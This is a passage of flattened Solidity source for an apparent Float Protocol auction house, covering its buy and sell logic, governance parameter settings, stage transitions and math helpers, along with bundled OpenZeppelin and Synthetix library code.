frozenTargetPriceInEth, frozenBankInEth, basketFactor ); // Calculate Allowance uint256 allowance = AuctionHouseMath.allowance( expansion, allowanceCap, float.totalSupply(), frozenFloatInEth, frozenTargetPriceInEth ); require(allowance != 0, "AuctionHouse/NoAllowance"); auctions[round].stabilisationCase = stabilisationCase; auctions[round].targetFloatInEth = frozenTargetPriceInEth; auctions[round].marketFloatInEth = frozenFloatInEth; auctions[round].bankInEth = frozenBankInEth; auctions[round].basketFactor = basketFactor; auctions[round].allowance = allowance; auctions[round].startWethPrice = wethStart; auctions[round].startBankPrice = bankStart; auctions[round].endWethPrice = wethEnd; auctions[round].endBankPrice = bankEnd; lastAuctionBlock = _blockNumber(); _setStage(Stages.AuctionActive); emit NewAuction(round, allowance, frozenTargetPriceInEth, lastAuctionBlock); return round; } // solhint-enable function-max-lines /* |||||||||| AuctionActive |||||||||| */ function _updateDelta(uint256 floatDelta) internal { Auction memory _currentAuction = latestAuction(); require( floatDelta <= _currentAuction.allowance.sub(_currentAuction.delta), "AuctionHouse/WithinAllowedDelta" ); auctions[round].delta = _currentAuction.delta.add(floatDelta); } /* |||||||||| AuctionActive:inExpansion |||||||||| */ /// @inheritdoc IAuctionHouseActions function buy( uint256 wethInMax, uint256 bankInMax, uint256 floatOutMin, address to, uint256 deadline ) external override(IAuctionHouseActions) timedTransition atStage(Stages.AuctionActive) inExpansion returns ( uint256 usedWethIn, uint256 usedBankIn, uint256 usedFloatOut ) { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "AuctionHouse/TransactionTooOld"); (uint256 wethPrice, uint256 bankPrice) = price(); usedFloatOut = Math.min( wethInMax.divideDecimalRoundPrecise(wethPrice), bankPrice == 0 ? type(uint256).max : bankInMax.divideDecimalRoundPrecise(bankPrice) ); require(usedFloatOut != 0, "AuctionHouse/ZeroFloatBought"); require(usedFloatOut >= floatOutMin, "AuctionHouse/RequestedTooMuch"); usedWethIn = wethPrice.multiplyDecimalRoundPrecise(usedFloatOut); usedBankIn = bankPrice.multiplyDecimalRoundPrecise(usedFloatOut); require(wethInMax >= usedWethIn, "AuctionHouse/MinimumWeth"); require(bankInMax >= usedBankIn, "AuctionHouse/MinimumBank"); _updateDelta(usedFloatOut); emit Buy(round, _msgSender(), usedWethIn, usedBankIn, usedFloatOut); _interactBuy(usedWethIn, usedBankIn, usedFloatOut, to); return (usedWethIn, usedBankIn, usedFloatOut); } function _interactBuy( uint256 usedWethIn, uint256 usedBankIn, uint256 usedFloatOut, address to ) internal { weth.safeTransferFrom(_msgSender(), address(basket), usedWethIn); if (usedBankIn != 0) { (uint256 bankToSave, uint256 bankToBurn) = usedBankIn.splitBy(protocolFee); bank.safeTransferFrom(_msgSender(), address(this), bankToSave); bank.safeBurnFrom(_msgSender(), bankToBurn); } float.safeMint(to, usedFloatOut); } /* |||||||||| AuctionActive:inContraction |||||||||| */ /// @inheritdoc IAuctionHouseActions function sell( uint256 floatIn, uint256 wethOutMin, uint256 bankOutMin, address to, uint256 deadline ) external override(IAuctionHouseActions) timedTransition atStage(Stages.AuctionActive) inContraction returns ( uint256 usedfloatIn, uint256 usedWethOut, uint256 usedBankOut ) { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "AuctionHouse/TransactionTooOld"); require(floatIn != 0, "AuctionHouse/ZeroFloatSold"); (uint256 wethPrice, uint256 bankPrice) = price(); usedWethOut = wethPrice.multiplyDecimalRoundPrecise(floatIn); usedBankOut = bankPrice.multiplyDecimalRoundPrecise(floatIn); require(wethOutMin <= usedWethOut, "AuctionHouse/ExpectedTooMuchWeth"); require(bankOutMin <= usedBankOut, "AuctionHouse/ExpectedTooMuchBank"); _updateDelta(floatIn); emit Sell(round, _msgSender(), floatIn, usedWethOut, usedBankOut); _interactSell(floatIn, usedWethOut, usedBankOut, to); return (floatIn, usedWethOut, usedBankOut); } function _interactSell( uint256 floatIn, uint256 usedWethOut, uint256 usedBankOut, address to ) internal { float.safeBurnFrom(_msgSender(), floatIn); if (usedWethOut != 0) { weth.safeTransferFrom(address(basket), to, usedWethOut); } if (usedBankOut != 0) { // STC: Maximum mint checks relative to allowance bank.safeMint(to, usedBankOut); } } /* |||||||||| AuctionCooldown, AuctionPending, AuctionActive |||||||||| */ /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- onlyGovernance ----- */ /// @inheritdoc IAuctionHouseGovernedActions function modifyParameters(bytes32 parameter, uint256 data) external override(IAuctionHouseGovernedActions) onlyGovernance { if (parameter == "auctionDuration") { require(data <= type(uint16).max, "AuctionHouse/ModADMax"); require(data != 0, "AuctionHouse/ModADZero"); auctionDuration = uint16(data); } else if (parameter == "auctionCooldown") { require(data <= type(uint32).max, "AuctionHouse/ModCMax"); auctionCooldown = uint32(data); } else if (parameter == "buffer") { // 0% <= buffer <= 1000% require(data <= 10 * BasisMath.FULL_PERCENT, "AuctionHouse/ModBMax"); buffer = uint16(data); } else if (parameter == "protocolFee") { // 0% <= protocolFee <= 100% require(data <= BasisMath.FULL_PERCENT, "AuctionHouse/ModPFMax"); protocolFee = uint16(data); } else if (parameter == "allowanceCap") { // 0% < allowanceCap <= N ~ 1_000% require(data <= type(uint32).max, "AuctionHouse/ModACMax"); require(data != 0, "AuctionHouse/ModACMin"); allowanceCap = uint32(data); } else if (parameter == "shouldUpdatePolicy") { require(data == 1 || data == 0, "AuctionHouse/ModUP"); shouldUpdatePolicy = data == 1; } else if (parameter == "lastAuctionBlock") { // We wouldn't want to disable auctions for more than ~4.3 weeks // A longer period should result in a "burnt" auction house and redeploy. require(data <= block.number + 2e5, "AuctionHouse/ModLABMax"); require(data != 0, "AuctionHouse/ModLABMin"); // Can be used to pause auctions if set in the future. lastAuctionBlock = data; } else revert("AuctionHouse/InvalidParameter"); emit ModifyParameters(parameter, data); } /// @inheritdoc IAuctionHouseGovernedActions function modifyParameters(bytes32 parameter, address data) external override(IAuctionHouseGovernedActions) onlyGovernance { if (parameter == "monetaryPolicy") { // STC: Sense check monetaryPolicy = IMonetaryPolicy(data); } else if (parameter == "bankEthOracle") { // STC: Sense check bankEthOracle = ITwap(data); } else if (parameter == "floatEthOracle") { // STC: Sense check floatEthOracle = ITwap(data); } else revert("AuctionHouse/InvalidParameter"); emit ModifyParameters(parameter, data); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "../lib/BlockNumber.sol"; contract Staged is BlockNumber { /** * @dev The current auction stage. * - AuctionCooling - We cannot start an auction due to Cooling Period. * - AuctionPending - We can start an auction at any time. * - AuctionActive - Auction is ongoing. */ enum Stages {AuctionCooling, AuctionPending, AuctionActive} /* ========== STATE VARIABLES ========== */ /** * @dev The cooling period between each auction in blocks. */ uint32 internal auctionCooldown; /** * @dev The length of the auction in blocks. */ uint16 internal auctionDuration; /** * @notice The current stage */ Stages public stage; /** * @notice Block number when the last auction started. */ uint256 public lastAuctionBlock; /* ========== CONSTRUCTOR ========== */ constructor( uint16 _auctionDuration, uint32 _auctionCooldown, uint256 _firstAuctionBlock ) { require( _firstAuctionBlock >= _auctionDuration + _auctionCooldown, "Staged/InvalidAuctionStart" ); auctionDuration = _auctionDuration; auctionCooldown = _auctionCooldown; lastAuctionBlock = _firstAuctionBlock - _auctionDuration - _auctionCooldown; stage = Stages.AuctionCooling; } /* ============ Events ============ */ event StageChanged(uint8 _prevStage, uint8 _newStage); /* ========== MODIFIERS ========== */ modifier atStage(Stages _stage) { require(stage == _stage, "Staged/InvalidStage"); _; } /** * @dev Modify the stages as necessary on call. */ modifier timedTransition() { uint256 _blockNumber = _blockNumber(); if ( stage == Stages.AuctionActive && _blockNumber > lastAuctionBlock + auctionDuration ) { stage = Stages.AuctionCooling; emit StageChanged(uint8(Stages.AuctionActive), uint8(stage)); } // Note that this can cascade so AuctionActive -> AuctionPending in one update, when auctionCooldown = 0. if ( stage == Stages.AuctionCooling && _blockNumber > lastAuctionBlock + auctionDuration + auctionCooldown ) { stage = Stages.AuctionPending; emit StageChanged(uint8(Stages.AuctionCooling), uint8(stage)); } _; } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Updates the stage, even if a function with timedTransition modifier has not yet been called * @return Returns current auction stage */ function updateStage() external timedTransition returns (Stages) { return stage; } /** * @dev Set the stage manually. */ function _setStage(Stages _stage) internal { Stages priorStage = stage; stage = _stage; emit StageChanged(uint8(priorStage), uint8(_stage)); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@openzeppelin/contracts/math/Math.sol"; import "../lib/BasisMath.sol"; import "../external-lib/SafeDecimalMath.sol"; contract AuctionHouseMath { using SafeMath for uint256; using SafeDecimalMath for uint256; using BasisMath for uint256; /** * @notice Calculate the maximum allowance for this action to do a price correction * This is normally an over-estimate as it assumes all Float is circulating * and the market cap is constant through supply changes. */ function allowance( bool expansion, uint256 capBasisPoint, uint256 floatSupply, uint256 marketFloatPrice, uint256 targetFloatPrice ) internal pure returns (uint256) { uint256 targetSupply = marketFloatPrice.mul(floatSupply).div(targetFloatPrice); uint256 allowanceForAdjustment = expansion ? targetSupply.sub(floatSupply) : floatSupply.sub(targetSupply); // Cap Allowance per auction; e.g. with 10% of total supply => ~20% price move. uint256 allowanceByCap = floatSupply.percentageOf(capBasisPoint); return Math.min(allowanceForAdjustment, allowanceByCap); } /** * @notice Linear interpolation: start + (end - start) * (step/duration) * @dev For 150 steps, duration = 149, start / end can be in any format * as long as <= 10 ** 49. * @param start The starting value * @param end The ending value * @param step Number of blocks into interpolation * @param duration Total range */ function lerp( uint256 start, uint256 end, uint256 step, uint256 duration ) internal pure returns (uint256 result) { require(duration != 0, "AuctionHouseMath/ZeroDuration"); require(step <= duration, "AuctionHouseMath/InvalidStep"); // Max value <= 2^256 / 10^27 of which 10^49 is. require(start <= 10**49, "AuctionHouseMath/StartTooLarge"); require(end <= 10**49, "AuctionHouseMath/EndTooLarge"); // 0 <= t <= PRECISE_UNIT uint256 t = step.divideDecimalRoundPrecise(duration); // result = start + (end - start) * t // = end * t + start - start * t return result = end.multiplyDecimalRoundPrecise(t).add(start).sub( start.multiplyDecimalRoundPrecise(t) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./ah/IAuctionHouseState.sol"; import "./ah/IAuctionHouseVariables.sol"; import "./ah/IAuctionHouseDerivedState.sol"; import "./ah/IAuctionHouseActions.sol"; import "./ah/IAuctionHouseGovernedActions.sol"; import "./ah/IAuctionHouseEvents.sol"; /** * @title The interface for a Float Protocol Auction House * @notice The Auction House enables the sale and buy of FLOAT tokens from the * market in order to stabilise price. * @dev The Auction House interface is broken up into many smaller pieces */ interface IAuctionHouse is IAuctionHouseState, IAuctionHouseVariables, IAuctionHouseDerivedState, IAuctionHouseActions, IAuctionHouseGovernedActions, IAuctionHouseEvents { } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; interface IBasketReader { /** * @notice Underlying token that is kept in this Basket */ function underlying() external view returns (address); /** * @notice Given a target price, what is the basket factor * @param targetPriceInUnderlying the current target price to calculate the * basket factor for in the units of the underlying token. */ function getBasketFactor(uint256 targetPriceInUnderlying) external view returns (uint256 basketFactor); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.8.0; interface ITwap { /** * @notice Returns the amount out corresponding to the amount in for a given token using the moving average over time range [`block.timestamp` - [`windowSize`, `windowSize - periodSize * 2`], `block.timestamp`]. * E.g. with a windowSize = 24hrs, periodSize = 6hrs. * [24hrs ago to 12hrs ago, now] * @dev Update must have been called for the bucket corresponding to the timestamp `now - windowSize` * @param tokenIn the address of the token we are offering * @param amountIn the quantity of tokens we are pricing * @param tokenOut the address of the token we want * @return amountOut the `tokenOut` amount corresponding to the `amountIn` for `tokenIn` over the time range */ function consult( address tokenIn, uint256 amountIn, address tokenOut ) external view returns (uint256 amountOut); /** * @notice Checks if a particular pair can be updated * @param tokenA Token A of pair (any order) * @param tokenB Token B of pair (any order) * @return If an update call will succeed */ function updateable(address tokenA, address tokenB) external view returns (bool); /** * @notice Update the cumulative price for the observation at the current timestamp. Each observation is updated at most once per epoch period. * @param tokenA the first token to create pair from * @param tokenB the second token to create pair from * @return if the observation was updated or not. */ function update(address tokenA, address tokenB) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.8.0; interface IMonetaryPolicy { /** * @notice Consult the monetary policy for the target price in eth */ function consult() external view returns (uint256 targetPriceInEth); /** * @notice Update the Target price given the auction results. * @dev 0 values are used to indicate missing data. */ function updateGivenAuctionResults( uint256 round, uint256 lastAuctionBlock, uint256 floatMarketPrice, uint256 basketFactor ) external returns (uint256 targetPriceInEth); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ISupplyControlledERC20 is IERC20 { /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) external; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) external; /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * See {ERC20-_burn}. */ function burnFrom(address account, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; /** * @title Basis Mathematics * @notice Provides helpers to perform percentage calculations * @dev Percentages are [e2] i.e. with 2 decimals precision / basis point. */ library BasisMath { uint256 internal constant FULL_PERCENT = 1e4; // 100.00% / 1000 bp uint256 internal constant HALF_ONCE_SCALED = FULL_PERCENT / 2; /** * @dev Percentage pct, round 0.5+ up. * @param self The value to take a percentage pct * @param percentage The percentage to be calculated [e2] * @return pct self * percentage */ function percentageOf(uint256 self, uint256 percentage) internal pure returns (uint256 pct) { if (self == 0 || percentage == 0) { pct = 0; } else { require( self <= (type(uint256).max - HALF_ONCE_SCALED) / percentage, "BasisMath/Overflow" ); pct = (self * percentage + HALF_ONCE_SCALED) / FULL_PERCENT; } } /** * @dev Split value into percentage, round 0.5+ up. * @param self The value to split * @param percentage The percentage to be calculated [e2] * @return pct The percentage of the value * @return rem Anything leftover from the value */ function splitBy(uint256 self, uint256 percentage) internal pure returns (uint256 pct, uint256 rem) { require(percentage <= FULL_PERCENT, "BasisMath/ExcessPercentage"); pct = percentageOf(self, percentage); rem = self - pct; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; /// @title Function for getting block number /// @dev Base contract that is overridden for tests abstract contract BlockNumber { /// @dev Method that exists purely to be overridden for tests /// @return The current block number function _blockNumber() internal view virtual returns (uint256) { return block.number; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** * @title Recoverable feature * @dev should _only_ be used with contracts that should not store assets, * but instead interacted with value so there is potential to lose assets. */ abstract contract Recoverable is AccessControl { using SafeERC20 for IERC20; using Address for address payable; /* ========== CONSTANTS ========== */ bytes32 public constant RECOVER_ROLE = keccak256("RECOVER_ROLE"); /* ============ Events ============ */ event Recovered(address onBehalfOf, address tokenAddress, uint256 amount); /* ========== MODIFIERS ========== */ modifier isRecoverer { require(hasRole(RECOVER_ROLE, _msgSender()), "Recoverable/RecoverRole"); _; } /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- RECOVER_ROLE ----- */ /** * @notice Provide accidental token retrieval. * @dev Sourced from synthetix/contracts/StakingRewards.sol */ function recoverERC20( address to, address tokenAddress, uint256 tokenAmount ) external isRecoverer { emit Recovered(to, tokenAddress, tokenAmount); IERC20(tokenAddress).safeTransfer(to, tokenAmount); } /** * @notice Provide accidental ETH retrieval. */ function recoverETH(address to) external isRecoverer { uint256 contractBalance = address(this).balance; emit Recovered(to, address(0), contractBalance); payable(to).sendValue(contractBalance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; // https://docs.synthetix.io/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint256; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint256 public constant UNIT = 10**uint256(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint256 public constant PRECISE_UNIT = 10**uint256(highPrecisionDecimals); uint256 private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint256(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint256) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint256) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint256 x, uint256 y) internal pure returns (uint256) { /* Divide 